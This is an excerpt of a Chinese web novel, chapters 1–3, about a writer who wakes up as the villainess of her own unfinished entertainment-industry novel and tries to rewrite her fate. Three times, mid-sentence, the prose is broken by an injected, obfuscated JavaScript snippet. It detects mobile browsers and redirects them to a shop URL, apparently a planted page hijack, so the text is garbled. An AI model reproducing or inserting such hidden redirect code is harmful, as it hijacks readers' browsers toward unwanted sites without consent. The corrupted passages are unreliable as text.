《别闹了,我真不想当恶毒女配》 1. 我写的女配,报应到我自己身上了? 苏芷柔醒过来的时候,首先感觉到的是后脑勺一阵钝痛。 她下意识伸手去摸,指尖触到的不是熟悉的枕头,而是一块硬邦邦的、散发着廉价油漆味的木质床头板。 苏芷柔猛地睁开眼,头顶是一盏落了灰的水晶吊灯,灯泡坏了三颗,剩下的两颗发出暧昧不明的昏黄光线。墙纸是浮夸的欧式大花图案,边角翘起,露出底下发霉的墙皮。 空气里弥漫着一股混合了香水、泡面和潮湿织物气味的复杂味道。 这一看就不是她那个月租三千五,房子面积不大但收拾得干干净净的单身公寓。 “苏芷柔!你还躺着干什么?片场那边催了三次了!” 房门被一把推开,一个戴着黑框眼镜、扎着低马尾的年轻女人冲进来,手里举着一杯咖啡和一袋包子,脸上的表情介于焦急和习惯性无奈之间。 苏芷柔盯着她看了三秒钟,很显然她还没搞明白此刻的状况。 圆脸,黑框眼镜,左眉尾一颗小痣,说话时习惯性推镜框! 有点熟悉,但不是很多。 “你强闯民宅了,知道了吗?片场?什么鬼啊,我写的书还没买影视版权呢……”苏芷柔的声音有点发干,眼睛却缓缓闭上了。 “苏芷柔,你昨晚喝酒给你脑子喝傻了?!快点起来收拾!还有五分钟!!” 苏芷柔看着眼前这个不耐烦的女人,太熟悉了,于是她试探性的开口问:“妈?!” “嗯?”女人把窗帘拉开,赶走屋子里的死气沉沉:“苏芷柔,我都不想说你了,你妈早就不管你了,现在只有你一个人孤身打拼,除了我周曼,你看看还有几个人敢管你祖宗!” 等一下,我妈现在不是待在村里大house里美滋滋的过她的退休养老生活吗?不管我是怎么个事? 再度睁开眼就被刺眼的太阳刺醒,这一天天能不能好好睡一觉,昨天晚上邻居还半夜装修,吵得今天两三点才睡着。 “周曼?”苏芷柔猛的想起来,她不是最近刚写了一篇文章,为了省事把自己的名字给写上去了,给自己写了个恶毒女配来着,平常自己就是一个i人,啥也不敢说,好不容易过一把恶毒女配的瘾,还传进来了?! 周曼可是《星光予你》里恶毒女配苏芷柔晚的助理。 在原著中,这个角色一共出场七次,最后一次是在第93章,苏芷柔被全网封杀后,周曼在暴雨中替她搬完最后一箱行李,被她用一句“滚”赶出了公寓。 而苏芷柔之所以记得这么清楚,是因为这七场戏,每一场都是她亲手写的。 原来亲手写也要经历一番吗?! 她想重开啊! 周曼把咖啡和包子塞到她手里,顺手从地上捡起一件皱巴巴的裙子往她身上比划:“苏芷柔,我真是上辈子欠你的,姐!祖宗!咱能不能先把衣服换了?九点的通告,现在八点五十了!” 苏芷柔低下头,看见自己握着咖啡的那只手。 指甲做了精致的水晶甲,镶着碎钻,食指上戴着一枚浮夸到令人窒息的蝴蝶戒指。 原著的女配手指纤细白嫩,和她原来那双因为常年敲键盘而磨出茧子的手完全不同。 她把咖啡放下,赤脚踩过满地乱扔的衣服鞋子,走到墙角那面全身镜前。 镜子里映出一张脸。 五官是漂亮的,甚至可以说非常漂亮,标准的鹅蛋脸,鼻梁高挺,唇形饱满,一双微微上挑的杏眼,但妆容太浓了,假睫毛贴了两层,眼线拉到太阳穴,嘴唇涂着当季最火的“吃土色”,整个人看起来刻薄又疲惫。 这张脸她认识。 因为她在文档里敲下“苏芷柔”这三个字的时候,脑海中对这个角色的外貌描述就是:美则美矣,毫无灵魂。 “曼曼,”苏芷柔转过身,语气异常平静:“今天第几场戏?” “第27场啊。”周曼翻了翻手机:“就是你泼沈棠咖啡那场。道具组说准备了温水,你放心泼,不会烫着的。” 第27场,这不就是恶毒女配苏芷柔晚当众羞辱女主沈棠,将咖啡泼在她身上,并附赠台词:“就凭你,也配演女一号?” 女主反应过来她不就完了嘛? 这段剧情她可太熟了。 两个月前,晋江的编辑催她开新文,说现言频道流量好,让她写个娱乐圈穿书文。 苏芷柔当时手头还有两个项目没结,实在分身乏术,但编辑催得紧,她就花了三个晚上肝出三万字开头,把所有能想到的狗血桥段都塞了进去替身梗、下药梗、网暴梗、车祸梗…… 女主沈棠是善良坚韧的小白花,男主陆司珩是冷漠矜贵的资本大佬,而恶毒女配苏芷柔负责制造百分之八十的冲突。 恶毒女配的功能很简单:嫉妒女主、陷害女主、被男主打脸、再嫉妒、再陷害、再被打脸,如此循环往复,最后在大结局前被送进精神病院,完成“恶有恶报”的叙事闭环。 苏芷柔当时写得很顺手,要知道这种套路文不需要动脑子,照着模板填就行。 她只是没想到,自己有一天会变成苏芷柔,早知道就不用自己的真名了。 而且这一切的罪魁祸首是自己,这也算因果循环的一部分吗?那这来的也太快了吧。 确切地说,是穿成苏芷柔,穿进自己亲手写的、还没写完的、烂尾边缘反复试探的那本破书里。 “曼曼~不泼可以吗?”苏芷柔说。 苏芷柔心想一定要活到大结局,抱女主大腿,世上最绝望的死法就是火烧,可是恶毒女配的结局就是这样的,她不想体验。 周曼正蹲在地上帮她找配戏要穿的高跟鞋,闻言抬起头:“什么?” “咖啡我不泼。”苏芷柔拉开衣柜,在一排亮片、蕾丝、荧光色的灾难级单品中翻了半天,终于在角落找到一件勉强正常的白色衬衫和黑色阔腿裤:“告诉导演,就说我手滑,咖啡洒自己身上了。” 周曼的表情像是看见她长了两个脑袋:“苏芷柔,你昨晚是不是又喝酒了?你知道这场戏导演等了多久吗?人家女主那边妆都化好了…就等你了…” “那就更不能泼了,浪费咖啡,还浪费人家卸妆的时间。” 苏芷柔拎着衣服走进卫生间,反手关上门。 狭小的空间里终于安静下来,她硬撑着洗手台,深吸一口气,抬头看向镜子里的那张脸。 冷静一下,梳理一下现状。 第一,她在家里睡觉醒来就穿进自己写的书里 第二,她穿成了恶毒女配苏芷柔,在原著中,这个角色的结局是身败名裂、精神失常、被关进精神病院最后被烧死,这是她给恶毒女配的人物设定。 第三,这本书她没写完,写到三万字就丢开了,后面全是存稿箱自动发布的旧章节,也就是说,从第31章往后,这个世界会怎么发展,连她自己都不知道,已知不可怕,未知才可怕啊! 脑子里还在思想斗争,一个清脆的声音传来: “叮!” 一个清脆的提示音在她脑海中响起,紧接着,一块半透明的蓝色光屏凭空浮现在她眼前。 【“恶毒女配”系统已激活。】 【宿主:苏芷柔(编号JJ-1027)】 【当前女配值:72/100】 【系统提示:女配值低于60将触发强制矫正程序;低于40将扣除生命值;归零则执行角色终结。】 【祝您扮演愉快。】 苏芷柔盯着那行字看了五秒钟,然后慢慢地、深深地吸了一口气。 系统出现了,她书里确实写过一个系统。 那是在第二章,为了让苏芷柔的黑化显得不那么突兀,她随手加了个设定:苏芷柔被一个“恶毒女配系统”绑定,系统会督促她完成各种陷害女主的任务,完不成就电击惩罚。 这个设定她写了两千字就嫌麻烦扔了,后面再没提过。 结果这破系统,现在活生生地出现在她脑子里了,也不知道这破系统是不是个阻碍。 而且数值是72,离60的警戒线只差12。 “扮演愉快?”苏芷柔对着镜子冷笑了一声:“我写的女配,报应到我自己身上了是吧。” 她换好衣服走出卫生间时,周曼正对着手机屏幕皱眉。 “苏芷柔,你上热搜了。” “什么热搜?” 周曼把手机转过来。 微博热搜榜第27位:#苏芷柔片场耍大牌# 点进去是一段模糊的偷拍视频,应该是前几天拍的:苏芷柔在片场对着工作人员发脾气,把一个奶茶杯摔在地上,尖声喊着“这种便宜货也敢给我喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485710|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,她看见有人偷偷拍摄,反手就将工作人员的手机砸掉。 砸掉手机还能被拍到?恶毒女配的路人缘算是彻底毁了。 视频播放量已经三百万了,著名大眼软件评论区清一色的骂声。 “这种十八线也配耍大牌?” “听说她带资进组抢了别人的角色” “长得就一副刻薄相” …… 苏芷柔看完,把手机还给周曼。 这段剧情也是她写的,曾经的回旋镖正中眉心,倒霉蛋就是自己吧。 原书第四章,“苏芷柔晚片场耍大牌”的黑热搜,目的是让读者快速建立对女配的厌恶。 她当时写得挺爽,金句频出,评论区全是:“这个女配好讨厌”、“作者快让她下线” 现在那些金句全变成了扎向自己的刀。 “走吧。”她说。 “去片场?你终于想通了要好好拍戏?” “去片场,但不是去拍那场泼咖啡的戏。” 片场位于影视基地的C区,是一栋租来的欧式别墅,今天拍内景。 苏芷柔到的时候,整个剧组的气氛都有些微妙。 场务们看见她,招呼打得敷衍又客气,眼神里带着小心翼翼的提防。 几个群演凑在一起窃窃私语,她一走近就立刻散开。 导演姓赵,是个四十多岁的中年男人,肚子微凸,戴着鸭舌帽,正坐在监视器前看回放,看见苏芷柔进来,他摘下耳机,表情不太好看。 “苏老师,九点的通告,现在九点二十了。” “路上堵车。”苏芷柔冷静应对。 赵导演的眉头皱得更紧了,但到底没发作,苏芷柔虽然演技稀烂脾气更烂,但她是投资方投了几百万塞进来的人,不到万不得已不能撕破脸。 “行了,赶紧站位吧,沈棠那边已经准备好了。” 苏芷柔顺着他的目光看过去。 别墅客厅的沙发旁,站着一个穿白裙子的年轻女孩。 这就是抱大腿的女主沈棠。 她比苏芷柔想象中要瘦一些,锁骨凸出,手腕细得像一折就会断。 白裙是剧组借来的,腰线不太合身,用别针收了一圈。 她的妆很淡,五官清秀干净,是那种第一眼不算惊艳、但越看越舒服的长相。 此刻她正低头看着剧本,嘴唇微微翕动,在默念台词。 表情专注而认真,完全没有注意到周围投来的各色目光。 苏芷柔看着她,心里涌起一种奇异的感觉。 沈棠是她创造的角色,她赋予她善良坚韧的性格、坎坷的身世、最终迎来圆满的结局。 但现在,这个角色活生生地站在她面前,会呼吸,会紧张,会因为裙子不合身而时不时抬手扯一下腰间的别针,或许自己的出现可以投票让她的路更好走一点。 她不再是一串文字了,而是真真实实站在她面前的一个人。 “苏芷柔老师?”场记小心翼翼地凑过来:“道具咖啡准备好了,您拿左手边那杯,温度刚好。” 苏芷柔接过咖啡。 纸杯是温热的,杯身上印着某连锁品牌的logo。 “各部门准备……”赵导演举起对讲机:“第27场第一镜,Action!” 摄像机红灯亮起。 沈棠深吸一口气,朝苏芷柔走过来。 她的角色在这场戏里要向女配求一个试镜机会,姿态放得很低,眼神里带着小心翼翼的恳求。 “晚晚姐,我知道自己资历浅,但这次的角色我真的很想试一……” 苏芷柔握着咖啡杯的手微微抬起。 剧本上写着:苏芷柔冷笑一声,将咖啡泼向沈棠胸口。 周曼在摄像机后面紧张地攥紧了拳头。 赵导演盯着监视器,等着那个戏剧性的瞬间。 然而人最忌讳灵机一动,苏芷柔算是见识到了…… 苏芷柔非常夸张地脚下一崴。 她的身体以一个极其夸张的角度向前倾倒,手中的咖啡杯划出一道优美的抛物线,褐色液体在空中进行抛物线运动。 准确无误地泼在了刚好从门外走进来的一个人身上。 苏芷柔不敢看了…… 整个片场鸦雀无声 2. 陆总,衣服干洗费我出 被泼了一身咖啡的男人穿着深灰色西装,单看面料和剪裁就知道价格不菲。 此刻,那片褐色污渍正在他胸口的位置缓缓扩散,像一朵形状不规则的抽象画。 他低着头,看着自己被毁掉的西装,然后缓缓抬起目光。 那是一张冷得像刚从冰柜里取出来的脸,眉骨很高,眼窝微陷,瞳色极深,嘴唇抿成一条薄而锋利的线,即便胸口挂着一片咖啡渍,他站在那里,依然像一座不容攀附的冰山。 站在前排的助理赶紧处理这个现场事故:“快,带他去换个衣服。” 苏芷柔这下是真的不敢动了,她恨不得在地上刨个洞钻进去,陆总陆司珩盛世娱乐总裁?我什么身份惹他啊!星光的掌舵者,这本小说的男主角。 在原著的剧情线里,恶毒女配苏芷柔和男主陆司珩的第一次正面交锋发生在第十八章。 起因是苏芷柔在沈棠的水杯里下药被陆司珩当场撞破,他一把攥住她的手腕,力道大得几乎捏碎骨头,声音冷得像淬了冰:“你再碰她一下试试。” 那场戏写得很带感,评论区全是“男主好帅”,“终于有人治这个恶毒女配了”…… 带入恶毒女配视角,一点都不好,一点都不爽! 但现在,她把这场见面提前了整整十几章。 而且是以泼他一身咖啡的方式。 “苏、芷、柔——” 陆司珩一字一顿地念出她的名字。 声音不大,但整个片场的人都听得清清楚楚,那种语调不是愤怒,而是一种近乎审视的冷淡,好像他念的不是一个人名,而是一份有待评估的不良资产。 赵导演从监视器后面弹了起来,脸色煞白:“陆、陆总!您怎么来了?这、这是意外,苏老师她……” 苏芷柔没等他把话说完。 她从助理手里抽过一叠纸巾,踩着高跟鞋稳稳当当地走到陆司珩面前,递过去,然后抬起头,露出一个标准的营业微笑。 “陆总,衣服干洗费我出。” 陆司珩没接纸巾,他的目光落在苏芷柔脸上,像一片薄而锋利的刀片,从她的眉眼划到嘴角,似乎在确认什么。 苏芷柔被他看得后背微微发凉,但脸上的笑容纹丝不动。 “另外……”她用只有两个人能听见的音量说:“我有个合作想跟您谈谈,我相信您从不做赔钱的买卖。” “你?”他微微挑眉,那个单字里包含的意思很明确,你一个十八线女演员,拿什么跟我谈合作。 “对,我。”苏芷柔压低声音,语速快而清晰:“我知道沈棠正在被对家公司挖墙脚,也知道您正在筹备的S+项目《深渊》找不到合适的女主角。而我……” 她顿了一下,一字一顿说到:“能让这两件事同时解决。” 陆司珩的眼神终于变了,他的眼睫几不可见地垂了一下,像鹰隼在锁定猎物前一秒的那种收敛。 他伸出手,接过了她递来的纸巾。 “我的办公室在国贸三期42层。”他擦着西装上的咖啡渍,语气平淡得像在说今天天气不错:“明天下午三点,带上你的方案来见我,迟到一分钟,这个邀约立即作废并且此生不准踏入娱乐圈,为此时你的无礼买单。” 说完,他转身走出了片场。 助理、保镖、秘书呼啦啦地跟上去,像一阵深色的风,只留下空气里若有若无的冷冽香水味,和满地被踩乱的电缆线。 片场安静了足足五秒钟。 然后赵导演用一种极度复杂的表情看向苏芷柔:“苏老师,您和陆总……认识?” “刚认识。”苏芷柔把手里剩下的半杯咖啡递给场记:“咖啡不错,温度刚好。” 她转头看向沈棠。 沈棠还站在原地,手里攥着剧本,整个人有些发懵,刚才那一幕显然超出了她的理解范围,按照正常的剧本逻辑,苏芷柔应该泼她才对,怎么突然就变成了泼陆司珩? 而且泼完之后不但没有被封杀,反而约上了总裁的办公室? “沈棠。”苏芷柔走过去,叫她的名字。 沈棠条件反射地往后退了半步,眼神里带着警惕和一丝隐忍的畏惧,那是被苏芷柔欺负了太多次之后形成的肌肉记忆。 苏芷柔看着她这副样子,心里被什么东西轻轻揪了一下。 这个角色是她写的。 沈棠的每一次被欺负、每一次委曲求全、每一次在深夜独自流泪,都是她坐在电脑前,喝着奶茶,一个字一个字敲出来的。 她写的时候甚至觉得很爽,毕竟虐女主嘛,越虐越有戏剧张力,读者越爱看。 但现在,那些文字变成了一个活生生的人站在她面前,肩膀微微缩着,像一只随时准备挨打的小动物。 “别怕。”苏芷柔的声音不自觉放柔了:“刚才那段戏,我改主意了。” 沈棠怔怔地看着她。 “咖啡泼人这种事,太低级了。”苏芷柔弯了弯嘴角:“走,我们去找个安静的地方,我有些事想跟你聊聊。” “聊……什么?不,我们应该没什么好聊的……” 苏芷柔伸手,拿过沈棠手里被攥得皱巴巴的剧本,翻到被荧光笔画得密密麻麻的那一页,那是女主试镜失败后在雨中哭泣的重场戏。 她合上剧本,看着沈棠的眼睛,一字一字地说: “当然是聊你怎么当上这部戏的女一……” 那天晚上,苏芷柔回到公寓时已经接近十一点。 周曼被她打发走了,临走前一脸欲言又止的表情,最后还是没忍住:“苏芷柔,你今天是不是中邪了?要不要我给你找个道士,画几张符放家里。” “可能吧。”苏芷柔关上门,把自己扔进那张硬邦邦的床上。 天花板上的水晶灯依然坏着三颗灯泡,昏黄的光落在她脸上,她盯着那些虚假的水晶切面看了很久,然后坐起来,打开了床头的笔记本电脑。 这是苏芷柔的电脑,开机密码她在手机备忘录里找到了,六个0,和她本人一样毫无安全意识。 桌面很乱,堆满了各种文件夹:试镜视频、精修照片、美颜App、购物车截图。 苏芷柔一个个点开看过去,试图从这个角色的数字痕迹中拼凑出更多信息。 然后她发现了一个文件夹。 名字叫“剧本” 里面只有一个Word文档,文件名是:《星光予你》.docx 苏芷柔的手指悬在触摸板上方,心跳忽然变得很快。 她双击打开。 文档的界面和她在现实中使用的写作软件一模一样。 页面上密密麻麻排满了文字,章节标题、正文、分隔符,每一条格式她都无比熟悉,因为这就是她写的。 她快速往下滚动。 第一章,第二章,第三章……剧情和她记忆中的完全一致,一字不差。 一直滚动到第30章末尾,她停了下来。 第30章是她存稿箱里的最后一章。 从第31章开始,文档是一片空白。 也就是说,这本书的后续,还没有被写出来。 苏芷柔尝试着把光标移动到第30章的末尾,敲下了几个字: 【第31章】 然后她犹豫了一下,继续打字: 【苏芷柔回到公寓后,打开了电脑。】 文档上的文字在她敲下句号的那一刻,忽然闪烁了一下。 不是屏幕闪烁,而是文字本身在发光,一种极淡的金色光芒从字迹上流淌而过,像是有什么东西被激活了。 然后她听见系统提示音再次响起: 【检测到宿主主动介入剧情。】 【女配值+5。当前女配值:77/100。】 【系统备注:您的行为虽偏离原定剧情,但符合“恶毒女配攀附权贵”的基础人设,故予以加分,请继续保持。】 苏芷柔盯着那行字看了三秒钟,然后忍不住笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485711|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了出来。 攀附权贵? 她往椅背上一靠,对着天花板说:“谁攀附权贵了?我明天去见陆司珩,是要跟他谈条件。” 不过苏芷柔转念一想,这个男主陆司珩反倒是一个不错的挡箭牌。 系统没有回应。 苏芷柔把目光重新落回文档上。 第31章的空白页面在屏幕上一闪一闪地等着她,她伸出手,放在键盘上,却迟迟没有敲下去。 如果她写下的文字真的能影响这个世界,那她应该写什么? 把苏芷柔写成逆袭大女主?把陆司珩写成恋爱脑?把沈棠写成黑化反派? 不,这已经严重违背她当初写的初衷了。 她想了想,手指开始在键盘上飞快地敲击。 【第31章】 【苏芷柔没有去见陆司珩。她买了一张机票,飞到了南方的海边城市,在那里开了一家小小的花店,养了一只橘猫,每天早晨给店门口的绿萝浇水,下午坐在阳光里看书。她再也没有回到娱乐圈,再也没有见过陆司珩和沈棠。她过完了平静而普通的一生。】 敲完最后一个句号,她停下来,等待。 文字没有发光。 系统没有提示音。 什么都没有发生。 她皱起眉,又等了一分钟,依然毫无变化。 然后她明白了。 这个世界的规则不允许她逃避,或者说,她写的那些关于“平静生活”的句子,并不符合这个世界的底层逻辑,《星光予你》是一本娱乐圈穿书文,它的叙事引擎需要冲突、需要戏剧性、需要人物之间的纠缠。 一个恶毒女配忽然跑去开花店,这个故事就散了架了。 她不能逃离剧情,只能改写它。 苏芷柔深吸一口气,选中刚才那段文字,按下删除键。 然后她重新写道: 【第31章谈判】 【国贸三期42层,陆司珩的办公室比苏芷柔想象中更加冷淡。落地窗外是北京城灰蒙蒙的天际线,室内只有黑白灰三种颜色。他坐在办公桌后面,袖口挽到小臂,露出一截线条分明的手腕,正低头翻看她递来的方案。】 【“所以你的意思是,”他抬起头,目光透过金边眼镜的镜片落在她脸上:“让我签下沈棠,投资你成立工作室,而你一个目前全网黑评、演技稀烂、没有任何成功案例的十八线艺人,来做我的合作伙伴?”】 【“对。”苏芷柔说。】 【“给我一个理由。”】 【苏芷柔笑了笑,从包里抽出一份文件放在他面前,那是沈棠正在被对家公司挖墙脚的证据,以及一份详细的《深渊》角色适配分析报告,陆司珩翻开第一页,看到沈棠的试镜视频截图时,手指微微一顿。】 【陆司珩皱眉:“这些资料,你怎么拿到的?”】 【“因为我知道一些事情。”苏芷柔看着他的眼睛:“一些本该在两个月后才发生的事情。”】 她敲完最后一个字,按下回车。 这一次,文字亮起了金色的光芒。 光从屏幕上升起来,像被风吹散的蒲公英种子,飘向房间的每一个角落,然后缓缓消融在空气中。 与此同时,系统提示音叮咚响起: 【剧情已更新。】 【第31章“谈判”已载入世界线。】 【检测到宿主主动推进主线剧情,女配值+8。当前女配值:85/100。】 【干得不错,恶毒女配你做的越来越好了!】 苏芷柔合上电脑,赤脚走到窗前,拉开窗帘。 北京的夜晚在窗外铺展开来,万家灯火像一片倒扣的星河,远处的国贸三期亮着零星的灯光,42层的位置,有一扇窗户还亮着冷白色的光。 她不知道陆司珩是不是还在办公室里。 但她知道,明天下午三点,她会准时出现在那扇窗户后面。 这一次,剧本由她来写。 3. 一个关于恶毒女配如何拒绝做恶毒女配的故事…… 国贸三期的大堂冷气开得太足了。 苏芷柔站在电梯间里,看着楼层数字一格一格往上跳,指尖微微发凉。 她今天穿了一件自己从衣柜最深处挖出来的黑色西装裙,没有亮片、没有蕾丝、没有荧光色,简洁得不像苏芷柔的穿衣风格。 周曼帮她整理衣领的时候,欲言又止了整整三分钟,最后只挤出一句:“你确定不用我陪你上去?” “不用。” “那我在楼下等你,如果半小时后你没下来,我就报警。” 苏芷柔被这句话逗笑了。但她知道周曼不是在开玩笑,在原著里,陆司珩确实有过把得罪他的人“请”到办公室然后让对方从娱乐圈消失的记录。 电梯门在42层打开。 迎面是一面巨大的落地玻璃幕墙,整层楼被改造成了一间极简主义风格的办公室,灰色大理石地面,白色墙面,黑色皮质沙发,没有任何多余的装饰,唯一有颜色的是墙角那盆绿植,一株修剪得很克制的琴叶榕。 陆司珩的秘书是个戴无框眼镜的年轻男人,西装笔挺,领带系得一丝不苟,他看见苏芷柔从电梯里走出来,脸上没有露出任何惊讶的表情,只是礼貌地站起身:“苏小姐,陆总在会议室等您,请跟我来。” 苏芷柔跟着他穿过一条走廊,经过一间会议室,最后停在一扇深灰色的门前。 秘书敲了两下门,打开门侧身让到一边,待苏芷柔进去后轻声地关上门。 办公室比她想象中更大,三面落地窗,北京城灰蓝色的天际线在窗外铺展开来,室内依然是黑白灰的色调,唯一打破这种冷感的是桌上一只白色的陶瓷咖啡杯,杯沿有一道浅浅的咖啡渍,显示这个空间的主人确实在这里生活着,而不仅仅是一张杂志照片。 陆司珩坐在办公桌后面。 他已经换掉了昨天被泼咖啡的那套西装,今天穿的是一件深炭灰色的衬衫,袖口挽到小臂,露出一截线条分明的手腕,左手腕上戴着一只表,表盘是深蓝色的,在室内光线下像一小片凝固的夜空。 他没有戴眼镜,昨天在片场他也没有戴,但苏芷柔注意到桌角放着一副金边眼镜,镜片反射着电脑屏幕的光。 “坐。” 他头也没抬,目光仍然落在面前的文件上,苏芷柔在桌前的椅子上坐下,安静地等待。 大约过了两分钟,他合上文件,抬起头。 四目相对的瞬间,苏芷柔感受到了一种奇异的压迫感,不是那种刻意释放的威压,而是一种更本能的、属于食物链上层的从容,像猫看着一只自愿走进房间的老鼠,不急着一口吃掉,而是先观察一下这只老鼠到底想干什么。 “你比预约时间早到了七分钟,苏芷柔你很准时,跟网上的评价不太一样。”他说。 “堵车没有我想象的严重。” 陆司珩的嘴角几不可见地动了一下,不知道算不算一个笑:“方案呢?” 苏芷柔从包里抽出一份文件夹,放在桌上推过去,封面上只有两个字:沈棠。 陆司珩翻开第一页。 那是苏芷柔昨晚花了三个小时准备的资料。 第一部分是沈棠的履历分析,她出道两年,演过四部戏的女配,豆瓣评分最高7.2,最低4.8,但所有评论里有一条共同点:对沈棠本人的评价都是正面的。 “演技在线”、“有灵气”、“被剧本拖累了”、“期待她演女主”…… 第二部分是对家公司的挖角证据:在原著第36章,沈棠会因为受不了苏芷柔的持续打压而考虑跳槽,恰好被对家公司“星耀传媒”抓住机会递出橄榄枝,这件事后来被陆司珩发现并拦截,但过程并不愉快。 苏芷柔把所有的时间节点、涉及人物、可能的谈判筹码都列了出来。 第三部分是《深渊》的角色适配报告:《深渊》是盛世娱乐今年最重要的S+项目,一部悬疑题材的网剧,女主是一个表面温柔、内里坚韧的心理医生。这个角色需要演员有干净的底色和足够的深度,而沈棠恰好两者兼具。 陆司珩一页一页地翻着。 他的阅读速度很快,但每翻一页都会停顿几秒,似乎在消化和判断。 翻到《深渊》适配报告时,他停住了。 “这些镜头分析,谁做的?” “我。”苏芷柔说。 这是实话,她昨晚熬了个大通宵,把沈棠所有公开的表演片段都找出来看了一遍,用她作为编剧的专业眼光,逐帧分析沈棠的微表情控制、情绪层次、肢体语言的优缺点。 陆司珩抬起头看她,目光里多了一丝审视。 “苏芷柔,”他念她的名字,语气和昨天在片场一样,像在评估一份资产:“昨天之前,你是一个连台词都背不下来的演员,今天你给我一份专业级的艺人评估报告,你觉得我应该怎么理解这件事?” 苏芷柔早有准备。 “每个人都有不为人知的一面。”她说:“就像陆总您,表面上是一个只关注数据和利润的资本操盘手,但实际上……” 她停顿了一下,目光落在他桌角那本倒扣着的书上。 那是一本很旧的诗集,书脊的烫金标题已经磨损得几乎看不清了。 但苏芷柔认出了封面的颜色,深蓝色的布纹封面,是博尔赫斯诗选的一个老版本。 在原著中,陆司珩喜欢博尔赫斯这件事,在第72章才被沈棠意外发现。 那是他这个人物的一个关键细节:冷硬资本外壳下的文艺内核。 “实际上,”苏芷柔把目光收回来,直视他的眼睛:“您会给一个十八线艺人七分钟的提前入场时间,而不是直接让她走人。这说明您对‘意外’这件事,抱有一定程度的好奇心。” 陆司珩沉默了几秒。 然后他把那份报告翻到最后一页,从笔筒里抽出一支钢笔,在页面空白处写了几个字。 “沈棠的合约,我会让人去谈。”他把文件夹合上,推回给苏芷柔:“但你说的合作,不止于此。” “对。”苏芷柔说:“我要成立工作室。” “用盛世的钱?” “用你的资源。”她纠正道:“我不需要你直接投资,我需要你帮我拿到三样东西:第一,解除我和现在这家公司的经纪约,合同里有一项‘形象受损可单方面解约’的条款,他们已经在准备启动了。第二,帮我约一个人。” “谁?” “编剧温晴。” 陆司珩的眼神终于起了一点真正的变化。 温晴是业内顶尖的编剧,也是《深渊》的原著作者兼剧本总监,这个人出了名的难约,从不参加饭局,不接受陌生拜访,所有沟通只通过邮件。 “你要见她做什么?” “给她看一个故事。”苏芷柔说:“一个关于恶毒女配如何拒绝做恶毒女配的故事。” 办公室里安静了很长时间。 窗外的光线在慢慢变化,一片云移过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485712|201990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在落地窗上投下缓缓移动的阴影。 陆司珩靠进椅背里,手指无意识地转动着钢笔,目光落在苏芷柔脸上,像在读一行不太好理解的句子。 然后他忽然开口了。 “昨天在片场,你是故意把咖啡泼到我身上的。” 这不是一个疑问句。 苏芷柔没有否认:“对。” “为什么?” “因为在原定的剧情里,我应该泼沈棠,泼完之后上热搜,被骂三天,然后下一次再泼,再被骂,直到所有人都厌倦了这个循环。”她看着他:“我不想再按那个剧本演了。” 陆司珩的手指停止了转动。 “你说的‘原定剧情’,”他缓缓开口:“是指什么?” 苏芷柔迎着他的目光,没有躲闪。 “如果我说,这个世界是一本书,而我是那个写书的人,你会不会觉得我疯了?” 又是一阵沉默。 然后陆司珩做了一个出乎她意料的动作。 他把桌上那本倒扣的博尔赫斯诗选翻了过来,翻到其中某一页,念了两句: “‘我并非为了少数精确的读者而写作,也并非为了那个被报纸和赞誉堆砌成的名为“公众”的抽象实体。我写作,是为了我自己,为了那些让我得以成为自己的缓慢而黑暗的转变。’” 他合上书,看着她。 “如果这个世界是一本书,那每个人都在写自己的那一页,你昨天选择不泼沈棠,今天选择坐在这里,那么你已经在修改你那一页了。” 他站起身,走到落地窗前,背对着她。 北京城在他脚下铺展成一片灰色的棋盘,车流如蚁,行人如尘。 “明天我会让法务部联系你现在的经纪公司,温晴那边,我给你一个邮箱地址,能不能约到她,看你自己。” 苏芷柔站起来:“谢谢。” “不用谢。”他没有回头:“这不是帮你。这是我对一份合格商业计划书的正常回应。” 苏芷柔走到门口时,他又开口了。 “苏芷柔……” 她停住,回头。 陆司珩仍然站在窗前,逆光中看不清他的表情,只能看见他手腕上那块表反射着一点幽蓝的光。 “下次提前到的时候,不用在楼下等那七分钟,你可以直接上来。” 走出国贸三期的大门,北京初夏的阳光兜头浇下来。 苏芷柔站在台阶上,仰起头,闭上眼睛,阳光透过眼皮变成一片温暖的橙红色,像文档发光时的那种金色。 手机在包里震动,她掏出来看,是周曼发来的消息: “还活着吗???” 苏芷柔笑了一下,打字回复:“活着,而且约到了温晴的邮箱。” 三秒钟后,周曼连发了七个感叹号过来。 苏芷柔把手机放回包里,走下台阶,汇入街上来来往往的人流。 她路过一家花店时停了一下,透过橱窗看见里面挤挤挨挨的玫瑰和百合,想起昨晚自己写过的那段被删除的文字…… 开花店,养橘猫,过平静而普通的一生。 